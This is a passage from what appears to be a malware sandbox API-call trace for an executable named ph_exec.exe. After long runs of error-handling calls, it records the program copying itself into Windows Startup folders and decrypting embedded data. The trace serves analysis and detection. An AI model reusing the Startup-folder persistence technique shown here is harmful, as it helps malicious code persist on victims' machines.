GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.236] SetLastError (dwErrCode=0x0) [0032.236] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.237] GetLastError () returned 0x0 [0032.237] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.238] SetLastError (dwErrCode=0x0) [0032.238] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.239] SetLastError (dwErrCode=0x0) [0032.239] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.240] SetLastError (dwErrCode=0x0) [0032.240] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.241] GetLastError () returned 0x0 [0032.241] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.242] SetLastError (dwErrCode=0x0) [0032.242] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.243] SetLastError (dwErrCode=0x0) [0032.243] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] SetLastError (dwErrCode=0x0) [0032.244] GetLastError () returned 0x0 [0032.244] GetLastError () returned 0x0 [0032.244] GetLastError () returned 0x0 [0032.244] GetLastError () returned 0x0 [0032.245] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 1 [0032.370] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5298 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca54b0 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca56c8 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca58e0 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1270 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1338 | out: hHeap=0xca0000) returned 1 [0032.371] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca11e0 [0032.371] CryptImportKey (in: hProv=0x574d50, pbData=0x53f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f70c | out: phKey=0x53f70c*=0x582a30) returned 1 [0032.371] CryptSetKeyParam (hKey=0x582a30, dwParam=0x1, pbData=0x53f6f4, dwFlags=0x0) returned 1 [0032.371] CryptDecrypt (in: hKey=0x582a30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f6c0 | out: pbData=0xca11e0, pdwDataLen=0x53f6c0) returned 1 [0032.371] CryptDestroyKey (hKey=0x582a30) returned 1 [0032.371] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1208 [0032.371] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca1230 [0032.371] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1258 [0032.371] CryptImportKey (in: hProv=0x574d50, pbData=0x53f67c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6e4 | out: phKey=0x53f6e4*=0x582970) returned 1 [0032.371] CryptSetKeyParam (hKey=0x582970, dwParam=0x1, pbData=0x53f6cc, dwFlags=0x0) returned 1 [0032.371] CryptDecrypt (in: hKey=0x582970, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1258, pdwDataLen=0x53f698 | out: pbData=0xca1258, pdwDataLen=0x53f698) returned 1 [0032.371] CryptDestroyKey (hKey=0x582970) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1258 | out: hHeap=0xca0000) returned 1 [0032.371] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca1208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1230 | out: hHeap=0xca0000) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0032.371] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53f74c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53f74c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.371] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1208 | out: hHeap=0xca0000) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x28) returned 0xca11e0 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1210 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f61c | out: phKey=0x53f61c*=0x582d70) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f604, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1210, pdwDataLen=0x53f5d0 | out: pbData=0xca1210, pdwDataLen=0x53f5d0) returned 1 [0032.372] CryptDestroyKey (hKey=0x582d70) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1228 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f614 | out: phKey=0x53f614*=0x582bb0) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f5fc, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1228, pdwDataLen=0x53f5c8 | out: pbData=0xca1228, pdwDataLen=0x53f5c8) returned 1 [0032.372] CryptDestroyKey (hKey=0x582bb0) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1240 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f60c | out: phKey=0x53f60c*=0x582930) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f5f4, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1240, pdwDataLen=0x53f5c0 | out: pbData=0xca1240, pdwDataLen=0x53f5c0) returned 1 [0032.372] CryptDestroyKey (hKey=0x582930) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1258 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f59c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f604 | out: phKey=0x53f604*=0x582bb0) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f5ec, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1258, pdwDataLen=0x53f5b8 | out: pbData=0xca1258, pdwDataLen=0x53f5b8) returned 1 [0032.372] CryptDestroyKey (hKey=0x582bb0) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1270 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f594, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5fc | out: phKey=0x53f5fc*=0x582c70) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582c70, dwParam=0x1, pbData=0x53f5e4, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582c70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1270, pdwDataLen=0x53f5b0 | out: pbData=0xca1270, pdwDataLen=0x53f5b0) returned 1 [0032.372] CryptDestroyKey (hKey=0x582c70) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1308 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f58c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5f4 | out: phKey=0x53f5f4*=0x582930) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f5dc, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1308, pdwDataLen=0x53f5a8 | out: pbData=0xca1308, pdwDataLen=0x53f5a8) returned 1 [0032.372] CryptDestroyKey (hKey=0x582930) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x70) returned 0xca1320 [0032.372] CryptImportKey (in: hProv=0x574d50, pbData=0x53f584, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5ec | out: phKey=0x53f5ec*=0x582a70) returned 1 [0032.372] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x53f5d4, dwFlags=0x0) returned 1 [0032.372] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1320, pdwDataLen=0x53f5a0 | out: pbData=0xca1320, pdwDataLen=0x53f5a0) returned 1 [0032.372] CryptDestroyKey (hKey=0x582a70) returned 1 [0032.372] htonl (hostlong=0xb4197730) returned 0x307719b4 [0032.372] CryptGenRandom (in: hProv=0x574d50, dwLen=0x20, pbBuffer=0x53f6e0 | out: pbBuffer=0x53f6e0) returned 1 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x28) returned 0xca1398 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca13c8 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca13e0 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x14) returned 0xca13f0 [0032.372] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1410 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca1428 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca14b0 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca5298 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca14c8 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca14e0 [0032.373] CryptAcquireContextW (in: phProv=0xcdfcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xcdfcf4*=0x5704a0) returned 1 [0032.373] CryptGenRandom (in: hProv=0x5704a0, dwLen=0x55, pbBuffer=0x53f64a | out: pbBuffer=0x53f64a) returned 1 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca14f0 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca5328 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1508 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x2) returned 0xca1520 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca1530 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca53b0 [0032.373] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca04a0 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca0528 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca0540 [0032.374] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1520, Size=0x82) returned 0xca82f8 [0032.374] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca0540, Size=0x100) returned 0xca8388 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8668 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca8a98 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8608 [0032.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca8b28 [0032.374] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca82f8, Size=0x104) returned 0xca8bb8 [0032.374] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8388, Size=0x200) returned 0xca8cc8 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1530 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8cc8 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0528 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5328 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14f0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca04a0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca53b0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8bb8 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1508 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8a98 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8668 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8b28 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8608 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca13e0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca13c8 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5298 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14b0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1428 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1410 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14e0 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14c8 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1398 | out: hHeap=0xca0000) returned 1 [0032.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca13f0 | out: hHeap=0xca0000) returned 1 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xa4) returned 0xca04a0 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x66) returned 0xca5298 [0032.375] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca5298, Size=0xca) returned 0xca5298 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8668 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xb40) returned 0xca8a98 [0032.375] CryptImportKey (in: hProv=0x574d50, pbData=0x53f57c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5e4 | out: phKey=0x53f5e4*=0x582bb0) returned 1 [0032.375] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f5cc, dwFlags=0x0) returned 1 [0032.375] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8a98, pdwDataLen=0x53f598 | out: pbData=0xca8a98, pdwDataLen=0x53f598) returned 1 [0032.375] CryptDestroyKey (hKey=0x582bb0) returned 1 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8530 [0032.375] CryptImportKey (in: hProv=0x574d50, pbData=0x53f574, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5dc | out: phKey=0x53f5dc*=0x5826f0) returned 1 [0032.375] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f5c4, dwFlags=0x0) returned 1 [0032.375] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8530, pdwDataLen=0x53f590 | out: pbData=0xca8530, pdwDataLen=0x53f590) returned 1 [0032.375] CryptDestroyKey (hKey=0x5826f0) returned 1 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca82f8 [0032.375] CryptImportKey (in: hProv=0x574d50, pbData=0x53f54c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5b4 | out: phKey=0x53f5b4*=0x582d70) returned 1 [0032.375] CryptSetKeyParam 